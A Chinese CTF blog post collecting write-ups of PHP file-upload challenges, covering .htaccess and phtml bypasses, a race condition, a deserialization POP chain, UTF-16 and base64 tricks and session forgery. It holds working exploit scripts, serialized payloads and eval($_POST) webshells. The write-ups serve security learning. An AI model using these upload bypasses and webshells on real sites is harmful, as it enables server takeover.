文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-08-18   3.2k

极客大挑战 2019 Upload

考点

  • phtml绕过后缀
  • script绕过<?

解题

ACTF2020 新生赛 Upload

考点

  • phtml后缀绕过

解题

GXYCTF2019 BabyUpload

考点

  • .htaccess解析绕过

解题

RoarCTF 2019 SimpleUpload

考点

  • 条件竞争

解题

根据报错信息,发现是ThinkPHP3.2.4版本,从GitHub上下载下来审计一下,发现上传模块有一个问题。

可以看到,用户所写得代码使用时未指定files,默认为$_FILES,这意味着,所有$_FILES中的文件都会被上传。而代码只会过滤$_FILES['file']中的文件。所以上传两个文件,一个name为file的正常图片,另一个name为其他的webshell。

1
2
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));

最后会打印出$_FILES['file']的文件地址,而不会打印我们shell的地址。

ThinkPHP3默认使用uniqid()函数根据时间生成文件名,两个文件上传时间相近可以爆破。

最后上传的php会被后台替换成flag。

强网杯 2019 Upload

考点

  • PHP反序列化POP链构造

解题

注册之后查看cookie发现是一个base64编码后的

1
a:5:{s:2:"ID";i:3;s:8:"username";s:5:"admin";s:5:"email";s:15:"[email protected]";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";s:3:"img";N;}

扫目录得到 www.tar.gz 压缩包,代码审计

用PHPStorm打开会发现有两个断点,应该是给的hint

Register.php

Index.php中有一个把cookie反序列化的地方。

这么来看应该是构造反序列化的POP链。

Profile.php发现关键代码:

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

这里肯定是利用__call函数去执行我们的命令了。

构造POP链先找__destruct方法,很明显刚刚Register.php中就有析构函数。

1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

这里我们用Register->checker = Profile,利用Profile->index()去触发Profile类中的__call魔术方法。

但是我们可以看到Profile.php当中的__call方法调用的参数是

1
2
3
4
5
6
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

通过文档我们可以知道$name是不存在方法的调用的名字,在这里也就是index$arguments就是传入调用方法的参数,这里就为空。

而当使用$this->index的时候,我们会触发另一个魔术方法__get

1
2
3
4
public function __get($name)
{
return $this->except[$name];
}

这里又调用了$this->except[$name],而$name我们可以通过__call调用的值确定为index,而且Profile类存在一个公有类except可以供我们修改。

接着利用_get的返回会使__call方法中的if为真,执行$this->{$this->{$name}}($arguments);

有了POP链之后,我们应该去调用什么函数呢,接着看Profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

第一个if可以直接pass,第二个if语句如果我们不上传文件也可以直接通过,第三个if直接赋值绕过,然后可以构造图片马绕过getimagesize的判断,控制$this->filename为php后缀形式,这样利用copy($this->filename_tmp, $this->filename)就可以复制出了一个 php webshell 了。

构造payload的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
namespace app\web\controller;
use think\Controller;

class Register
{
public $checker;
public $registed = false;
public function __construct($checker)
{
$this->checker = $checker;
}
}

class Profile
{
public $filename_tmp = './upload/adeee0c170ad4ffb110df0cde294aecd/00bf23e130fa1e525e332ff03dae345d.png';
public $filename = './upload/adeee0c170ad4ffb110df0cde294aecd/shell.php';
public $ext = true;
public $except = array('index'=>'upload_img');
}

$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

得到payload

1
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo0OntzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkL2FkZWVlMGMxNzBhZDRmZmIxMTBkZjBjZGUyOTRhZWNkLzAwYmYyM2UxMzBmYTFlNTI1ZTMzMmZmMDNkYWUzNDVkLnBuZyI7czo4OiJmaWxlbmFtZSI7czo1MToiLi91cGxvYWQvYWRlZWUwYzE3MGFkNGZmYjExMGRmMGNkZTI5NGFlY2Qvc2hlbGwucGhwIjtzOjM6ImV4dCI7YjoxO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7YjowO30=

填到cookie中,刷新页面

蚁剑连接拿flag。

SUCTF2019 EasyWeb

考点

  • 无字母数字webshell
  • 文件上传
  • .htaccess利用

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

和极客大挑战2019 RCE ME类似的payload:

1
?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

可以成功显示PHPINFO的信息,注意四个点,一是PHP版本是7.2,二是题目的环境是Apache,三是限制了open_basedir,最后是disable_function。

再来看get_the_flag函数,按照题意应该是想让我们通过调用get_the_flag函数来get shell,函数中有三个限制:

  • 文件内容中不能出现<?
  • 使用了exif_imagetype来判断是不是图片
  • 后缀名中不允许出现ph

这里的限制条件就有点像SUCTF2019 CheckIn,不同的是那道题的环境是nginx,可以通过上传.user.ini来绕过。那么这道题如果要通过上传.htaccess来绕过后缀名的限制,就需要绕过exif_imagetype,并且不能用GIF89a等文件头,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:

  • 在.htaccess前添加

    1
    2
    #define width 1337
    #define height 1337

    #.htaccess是注释符,所以.htaccess文件可以生效

  • 在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
    x00x00x8ax39x8ax39 是wbmp文件的文件头,.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

最后就需要绕过<?,同样也有两个办法,不过只是编码的不同而已,一种是base64编码,一种是uft-16编码,都来了解一下。

先来看utf-16的编码方式,这是.htaccess文件:

1
2
3
4
5
6
7
8
#define width 1337                          # Define the width
#define height 1337 # Define the height

AddType application/x-httpd-php .cc # Say all file with extension .php16 will execute php

php_value zend.multibyte 1 # Active specific encoding (you will see why after :D)
php_value zend.detect_unicode 1 # Detect if the file have unicode content
php_value display_errors 1 # Display php errors

可以绕过的原因借用一下tr1ple师傅的图

也就是说原来是utf-8一个字符一个字节,现在utf-16是两个字节编码一个字符,那么明显可以绕过内容的过滤,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin

# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()

def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .cc\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')

htaccess.close()

generate_htacess()
generate_php_file("shell.cc", "<?php eval($_POST['shell']); ?>")

上传两个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://8bf8acd4-49c6-40c6-9bfe-688945f733ac.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
payload = {}
headers = {}
htaccess_files = [
('file', open('.htaccess', 'rb'))
]
shell_files = [
('file', open('shell.cc', 'rb'))
]

response = requests.request("POST", url, headers=headers, data=payload, files=htaccess_files)
print(response.text)

response = requests.request("POST", url, headers=headers, data=payload, files=shell_files)
print(response.text)

验证一下

用蚁剑连接,加载绕过disable_function的插件

第二种是用base64编码绕过

htaccess文件内容

1
2
3
4
#define width 1
#define height 1
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.cc"

shell的内容

1
2
GIF89a12 // 12为了满足base64算法凑足八个字节
PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4= //<?php @eval($_POST[cmd])?>的base64编码

拓展

.htaccess trick总结

PHP7绕过open_basedir

BSidesCF2019 SVGMagic

考点

  • SVG文件格式

  • XXE读取文件

解题

先来看看什么是SVG。

SVG 意为可缩放矢量图形(Scalable Vector Graphics), 使用 XML 格式定义图像

看一个实例

用常规的XXE文件读取payload

这个地方有个坑就是flag的文件位置在当前目录,proc/self/cwd就代表当前路径。

HFCTF2020 BabyUpload

考点

  • 代码审计

  • session伪造

解题

审计源码可以发现这几个点

  • session中存储了身份信息,默认事guest
  • 通过参数可以上传文件和下载文件

既然这样,那我们就先把session文件下载下来看看是什么样子的。

应该是用php_binary方式序列化的session。

那么现在的思路就是:

伪造admin session --> 上传新的sess文件 --> 将cookie改成sess文件sha256加密后的字符串

但是现在还有一个问题就是如果绕过对success.txt的判断。

由于文件名不可控,我们就无法上传一个名为success.txt的文件,但是file_exists函数的作用的是检查文件或目录是否存在,所以我们用attr创建一个名为success.txt的目录就可以过这个判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
from io import BytesIO
import hashlib

url = '''http://0abaf9de-86a1-4b6e-ab78-f008f607f2d5.node3.buuoj.cn'''


def admin():
files = {
"up_file": ("sess", BytesIO(b'\x08usernames:5:"admin";'))
}
data = {
"direction": "download",
"attr": ".",
}
res = requests.post(url=url, data=data, files=files)
session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode()).hexdigest()
return session_id


def upload_success():
data = {
"direction": "upload",
"attr": "success.txt",
}
files = {
"up_file": ("test", BytesIO(b'good job!'))
}
r = requests.post(url=url, data=data, files=files)


upload_success()
php_session_id = admin()
cookies = {
'PHPSESSID': php_session_id
}
s = requests.get(url)
r = requests.get(url=url, cookies=cookies)
print(r.text)

HarekazeCTF2019 Avatar Uploader 1

考点

  • finfo_file函数和getimagesize函数的区别

解题

原题是给了源码。

关键代码是在upload.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

首先我们得了解PHP文件头格式是什么样的

https://blog.csdn.net/u013943420/article/details/76855416

89 50 4E 47 0D 0A 1A 0A 是PNG头部署名域,表示这是一个PNG图片
00 00 00 0D 描述IHDR头部的大小
49 48 44 52 是Chunk Type Code, 这里Chunk Type Code=IHDR

接下来需要了解finfo_file函数和getimagesize函数的区别就在于:FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以。

SUCTF 2019 getshell

考点

  • 无数字字母webshell

解题

可用字符:$().;=[]_~

取反绕过,webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$_=~(瞎);
$__.=$_[[]==[]];
$_=~(挟);
$__.=$_[[]==[]];
$_=~(挟);
$__.=$_[[]==[]];
$_=~(隙);
$__.=$_[[]==[]];
$_=~(卸);
$__.=$_[[]==[]];
$_=~(勋);
$__.=$_[[]==[]];

$_=~(校);
$___.=$_[[]==[]];
$_=~(下);
$___.=$_[[]==[]];
$_=~(纤);
$___.=$_[[]==[]];
$_=~(嫌);
$___.=$_[[]==[]];
$___=$$___;
$__($___[_]);

flag在env环境变量中。

SUCTF 2019 Upload Labs 2

考点

解题

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
include 'config.php';

class Ad{

public $cmd;

public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;

function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

$this->cmd = $cmd;

$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}

function check(){

$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

function __destruct(){
system($this->cmd);
}
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];

$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}

TODO

HarekazeCTF2019 Avatar Uploader 2

TODO

D3CTF 2019 EzUpload

TODO

Copyright © ca01h 2019-2020 | 本站总访问量